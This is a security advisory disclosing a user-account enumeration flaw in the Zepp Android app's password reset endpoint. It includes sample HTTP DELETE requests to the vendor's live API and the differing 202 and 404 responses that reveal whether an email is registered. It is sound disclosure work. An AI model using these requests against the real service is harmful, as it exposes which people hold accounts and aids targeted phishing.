User account enumeration in password reset function
Overview
Advisory ID: TRSA-2108-02
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2108-02
Affected product: Zepp Android mobile application (com.huami.watch.hmwatchmanager)
Tested versions: Zepp 6.1.4-play
Vendor: Huami Inc., https://www.zepp.com
Credits: Trovent Security GmbH, Karima Hebbal
Detailed description
Zepp is a mobile application to collect health information from Zepp or Amazfit
devices.
Trovent Security GmbH discovered a user account enumeration vulnerability in
the password reset function of the Zepp mobile application.
This vulnerability allows to check if a user with a specific email address is
registered or not.
Severity: Medium
CVSS Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CWE ID: CWE-204
CVE ID: N/A
Proof of concept
Sample HTTP request sent with a registered email address:
DELETE /registrations/ptesttest33%40gmail.com/password?region=us-west-2&marketing=AmazFit HTTP/2 Host: api-user.huami.com App_name: com.huami.midong Accept-Language: en-US X-Request-Id: a8a25f6c-e392-4013-b39d-d8b68db532a0 Content-Type: application/x-www-form-urlencoded User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003) Accept-Encoding: gzip, deflate Content-Length: 0
The server response to a valid email address:
HTTP/2 202 Accepted Date: Mon, 30 Aug 2021 12:38:52 GMT Content-Type: application/json Content-Length: 39 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers "HuaMi Oauth / User Registration 2.0.2"
Sample HTTP request sent with a non-registered email address:
DELETE /registrations/false%40gmail.com/password?region=us-west-2&marketing=AmazFit HTTP/2 Host: api-user.huami.com App_name: com.huami.midong Accept-Language: en-US X-Request-Id: a8a25f6c-e392-4013-b39d-d8b68db532a0 Content-Type: application/x-www-form-urlencoded User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003) Accept-Encoding: gzip, deflate Content-Length: 0
The server response to an invalid email address:
HTTP/2 404 Not Found Date: Mon, 30 Aug 2021 12:40:08 GMT Content-Type: application/json Content-Length: 39 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers "HuaMi Oauth / User Registration 2.0.2"
Solution / Workaround
Ensure the application returns a consistent message for both existent and non-existent accounts during the password reset process.
History
2021-08-30: Vulnerability found & advisory created
2021-09-24: Vendor contacted
2021-10-25: Vendor contacted again
2021-11-18: Vendor contacted again
2022-04-27: No reaction from vendor, advisory published